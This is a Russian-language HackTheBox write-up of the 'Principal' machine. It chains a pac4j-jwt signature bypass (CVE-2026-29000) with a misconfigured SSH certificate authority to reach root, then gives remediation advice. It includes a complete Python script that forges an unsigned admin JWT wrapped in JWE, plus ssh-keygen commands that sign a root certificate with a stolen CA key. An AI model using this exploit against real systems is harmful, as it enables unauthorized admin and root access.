Всем привет, меня зовут Артем Маркелов, и я специалист по анализу защищенности в компании SecWare. Мы занимаемся поиском сложных уязвимостей, аудитом корпоративных сетей и в целом тем, что принято называть информационной безопасностью. В свободное от работы время мы с ребятами решаем задачи на HackTheBox – лично для меня это и отдых, и прокачка скиллов, и способ оставаться в тонусе.

Недавно на площадке мне попалась машина Principal. Средний уровень сложности, но концептуально очень интересная. Оба этапа атаки (первоначальный доступ и повышение привилегий) построены на одной и той же фундаментальной ошибке: проверка криптографической оболочки без валидации содержимого внутри нее. Это не просто цепочка уязвимостей, а демонстрация того, как один принцип проявляется в двух совершенно разных технологиях – JWT/JWE и SSH Certificate Authority.

TL;DR

В данной HackTheBox-машине для получения первоначального доступа эксплуатируется CVE-2026-29000 – обход аутентификации в библиотеке pac4j-jwt, в которой токен PlainJWT без цифровой подписи и завернутый в валидный конверт JWE полностью обходит проверку подписи. После подделки токена администратора и извлечения аутентификационных данных SSH из корпоративной панели управления для повышения привилегий используются недостатки в конфигурации центра сертификации SSH, который доверяет любому сертификату. Имя пользователя (principal) не проверяется, что и позволяет подделать сертификат для root.

Цепочка атаки выглядит следующим образом:

  • Обнаружение pac4j-jwt/6.0.3;

  • Получение JWKS – публичного ключа RSA;

  • Эксплуатация CVE-2026-29000 – PlainJWT в JWE;

  • Подделка токена администратора;

  • Доступ к API – /api/users, /api/settings;

  • Извлечение учетных данных svc-deploy;

  • SSH как svc-deploy;

  • Получение флага пользователя;

  • Поиск доступных файлов – /opt/principal/ssh/ca;

  • Генерация ключевой пары Ed25519;

  • Подпись сертификата с principal root;

  • SSH как root по сертификату;

  • Получение флага администратора.

Разведка

Первым шагом является сканирование IP-адреса цели для выявления незащищенных служб. Для этого запускаем nmap:

nmap -sCV 10.129.15.98

Здесь сразу видим несколько ключевых находок:

  • Jetty на 8080 – Java-сервер, скорее всего Spring или аналогичный фреймворк;

  • pac4j-jwt/6.0.3 – конкретная библиотека с указанием конкретной версии. pac4j – это Java-фреймворк аутентификации, JWT – это модуль, который работает с токенами. Версия 6.0.3 вышла не так давно, но можем поискать на нее свежие уязвимости;

  • OpenSSH 9.6 – относительно свежая версия, маловероятны уязвимости самого демона, но возможно, есть ошибки в конфигурации.

Запускаем Burp Suite, открываем браузер, видим форму логина "Principal Internal Platform". Внизу страницы – версия и технологии: v1.2.0 | Powered by pac4j.

Пробуем стандартные креды (admin/admin, admin/password) – получаем ошибку, но в HTTP History в Burp Suite видим, что запрос уходит на /api/auth/login.

Также в HTTP History видим запрос к /static/js/app.js.

Взглянем поближе на JavaScript-файл, который содержит детальные комментарии разработчика.

Из JS-файла узнаем несколько полезных моментов:

Параметр

Значение

Значимость для атаки

JWE-алгоритм

RSA-OAEP-256 + A128GCM

Асимметричное шифрование, нужен публичный ключ

JWS-алгоритм

RS256

Асимметричная подпись, ключ не экспонируется

Конечная точка JWKS

/api/auth/jwks

Отсюда получим публичный ключ для шифрования

Структура

sub, role, iss, iat, exp

Известная структура payload

Запрашиваем JWKS (JSON Web Key Set).

На скриншоте видим:

  • Обнаружение pac4j-jwt/6.0.3;

  • kty: тип ключа RSA;

  • e: AQAB – стандартная экспонента 65537;

  • kid: enc-key-1 – ID ключа, подсказка, что это ключ шифрования;

  • n – сам публичный ключ.

В JWKS только один ключ, и он предназначен для шифрования (по полю kid). Ключа для проверки подписи нет – подпись проверяется сервером своим приватным ключом, публичный клиенту не нужен.

Момент X: находим баг в коде pac4j

Чтобы понять уязвимость, нужно разобраться в архитектуре фреймворка. Pac4j поддерживает разные комбинации JWT:

Тип

Структура

Описание

PlainJWT

header.payload

Без подписи, alg: none

SignedJWT (JWS)

header.payload.signature

Только подпись

EncryptedJWT (JWE)

header.encryptedKey.iv.ciphertext.authTag

Только шифрование

Signed then Encrypted

JWS внутри JWE

Сначала подпись, потом шифрование

В HackTheBox-машине используется последний вариант: подписанный JWT заворачивается в JWE. При такой структуре сервер должен:

  1. Расшифровать внешний JWE своим приватным RSA-ключом.

  2. Получить внутренний JWT.

  3. Проверить подпись внутреннего JWT публичным ключом.

  4. Извлечь claims и авторизовать пользователя.

Смотрим исходники pac4j-jwt 6.0.3 (класс JwtAuthenticator). Ниже приведён фрагмент метода validate, содержащий уязвимость:

public void validate(TokenCredentials credentials, WebContext context) {
    String token = credentials.getToken();
    
    if (isEncrypted(token)) {
        EncryptedJWT encryptedJWT = EncryptedJWT.parse(token);
        
        encryptedJWT.decrypt(decrypter);
        
        JWT innerJWT = encryptedJWT.getPayload().toJWT();
        
        SignedJWT signedJWT = innerJWT.toSignedJWT();
        
        if (signedJWT != null) {
            // Ветка A: есть подпись, проверяем
            if (!signatureVerifier.verify(signedJWT)) {
                throw new BadCredentialsException("Invalid signature");
            }
        } else {
            // Ветка B: подписи нет (signedJWT == null)
            // Ошибка: просто продолжаем, не проверяем подпись
            logger.debug("No signature found, continuing...");
        }
        
        Map<String, Object> claims = innerJWT.getJWTClaimsSet().getClaims();
        createProfile(claims);
    }
}

Метод innerJWT.toSignedJWT() предпринимает попытку преобразовать внутренний JWT в SignedJWT.  В соответствии с условным оператором, при signedJWT == null исполняется ветка B, которая не выбрасывает исключение, а лишь логирует отладочное сообщение. После этого выполнение продолжается, и claims извлекаются из неподписанного токена.

Уязвимость заключается в отсутствии обработки случая, когда toSignedJWT() возвращает null. Никакой проверки. Корректная реализация должна либо выбрасывать исключение в ветке B, либо требовать обязательного наличия подписи (signedJWT != null) для продолжения обработки.

Найденная ошибка – не теория. NIST подтверждает CVE-2026-29000:

Версии pac4j-JWT до 4.5.9, 5.7.9 и 6.3.3 содержат уязвимость обхода аутентификации в JwtAuthenticator при обработке зашифрованных JWT, что позволяет удаленным злоумышленникам подделывать токены аутентификации. Злоумышленники, обладающие публичным ключом RSA сервера, могут создать PlainJWT, обернутый JWE, с произвольными требованиями субъекта и роли, обходя проверку подписи для аутентификации как любой пользователь, включая администраторов.

Конструирование эксплойта

Для эксплуатации выявленной уязвимости нам понадобится:

  1. Публичный RSA-ключ сервера (получен на этапе разведки через эндпоинт /api/auth/jwks).

  2. Известная структура payload (формат claims: sub, role, iss, iat, exp).

Процесс конструирования поддельного токена включает следующие шаги:

# Шаг 1. Получение публичного ключа из JWKS

jwks = requests.get(f"http://{ip}:8080/api/auth/jwks").json()
key = jwks['keys'][0]

n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big')
pub = rsa.RSAPublicNumbers(e, n).public_key(backend=default_backend())
pem = pub.public_bytes(encoding=serialization.Encoding.PEM, 

# Шаг 2. Создание PlainJWT с произвольными claims
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform",
           "iat": int(time.time()), "exp": int(time.time()) + 3600}

b64h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
b64p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
plain_jwt = f"{b64h}.{b64p}."

# Шаг 3. Упаковка PlainJWT в JWE
  token = jwe.encrypt(plain_jwt.encode(), pem, 
                    algorithm=Algorithms.RSA_OAEP_256, 
                    encryption=Algorithms.A128GCM).decode()

Ниже – готовый эксплойт, реализованный на Python с использованием библиотеки python-jose:

#!/usr/bin/env python3
import json, base64, time, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from jose import jwe
from jose.constants import Algorithms

ip = input("IP: ")
jwks = requests.get(f"http://{ip}:8080/api/auth/jwks").json()
key = jwks['keys'][0]

n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big')
pub = rsa.RSAPublicNumbers(e, n).public_key(backend=default_backend())
pem = pub.public_bytes(encoding=serialization.Encoding.PEM, 
                       format=serialization.PublicFormat.SubjectPublicKeyInfo).decode()

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform",
           "iat": int(time.time()), "exp": int(time.time()) + 3600}

b64h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
b64p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
plain_jwt = f"{b64h}.{b64p}."

token = jwe.encrypt(plain_jwt.encode(), pem, 
                    algorithm=Algorithms.RSA_OAEP_256, 
                    encryption=Algorithms.A128GCM).decode()

print("Token:", token)
print()

Полученный JWE передаётся серверу в заголовке Authorization: Bearer <token>. Используя свой приватный RSA-ключ, сервер успешно расшифровывает JWE, извлекает PlainJWT, обнаруживает отсутствие подписи, но (в силу уязвимости) продолжает обработку и извлекает claims sub=admin, role=ROLE_ADMIN.

Запускаем скрипт и вводим IP-адрес цели:

python3 poc.py

Получаем поддельный JWT администратора.

Успех: API открылся, пароль найден

С помощью Burp Suite Repeater отправляем запрос на /api/users и /api/settings, используя полученный токен.

В ответе на запрос к /api/users находим пользователя с пометкой «Service account for automated deployments via SSH certificate auth.». Данный сервисный аккаунт используется для автоматического развертывания с помощью SSH-сертификата.

Получаем доступ к машине по SSH как пользователь svc-deploy. По стандарту в директории пользователя находим флаг:

ssh svc-deploy@10.129.244.220

Повышение привилегий: ошибка в SSH CA

Из описания машины узнаем, что в ней используется SSH CA. Стандартный SSH использует публичные ключи: authorized_keys содержит список доверенных ключей. SSH CA, в свою очередь, работает как альтернатива классическому методу авторизации по публичным ключам, позволяя централизованно управлять доступом без необходимости распространять ключи на все серверы.

В классическом виде архитектура SSH CA выглядит примерно так:

В этой схеме существуют три основных компонента: сам сервер SSH (sshd), который настроен доверять определенному Certification Authority, клиент, который предъявляет сертификат для аутентификации, и механизм проверки полномочий. Когда клиент пытается подключиться, он отправляет сертификат, представляющий собой его публичный ключ, подписанный приватным ключом CA с дополнительными метаданными. Сервер проверяет подпись публичным ключом CA, указанным в директиве TrustedUserCAKeys, и, если подпись валидна, извлекает из сертификата список principals – имен пользователей, от имени которых разрешен вход.

После получения доступа к системе под учетной записью svc-deploy, читаем файлы конфигурации SSH:

svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf

PermitRootLogin установлен в prohibit-password, что означает, что вход под root с использованием пароля заблокирован. Однако, аутентификация на основе сертификата разрешена. Также указан путь до приватного ключа CA. С помощью него можем подписать сертификат от имени любого пользователя, какого захотим, включая root.

Необходимо сгенерировать ключевую пару, подписать сертификат с principal root и, собственно, подключиться.

Генерируем Ed25519 ключ:

svc-deploy@principal:~$ ssh-keygen -t ed25519 -f /tmp/pwn -N ""

Подписываем сертификат, используя найденный приватный ключ CA:

svc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca -n root -I x -V +1h /tmp/pwn.pub

Используем полученный сертификат для подключения по SSH как root:

svc-deploy@principal:~$ ssh -i /tmp/pwn root@localhost

Вывод

Оба этапа атаки объединяет одна и та же фундаментальная ошибка: доверие к формату (криптографической оболочке) без проверки содержимого.

В случае с JWT шифрование JWE было валидным, поэтому сервер не проверил подпись внутри. В случае с SSH CA сертификат был подписан доверенным CA, поэтому сервер не проверил имя пользователя в principal.

Рекомендации по устранению

Как полагается, в конце статьи приведем рекомендации по устранению тех уязвимостей, с которыми столкнулись при решении HackTheBox-машины.

Устранение CVE-2026-29000:

  • Обновить pac4j-jwt до версии 6.3.3 или выше;

  • Разрешать только ожидаемые алгоритмы (RS256 и т.д.), запрещать none;

  • Проверять подпись до извлечения claims.

Усиление SSH CA:

  • Настроить AuthorizedPrincipalsFile в файле /etc/ssh/auth_principals/(системный_пользователь);

  • Ограничить principals для привилегированных пользователей (root);

  • Разделить центры сертификации по зонам ответственности;

  • Аудировать выданные сертификаты.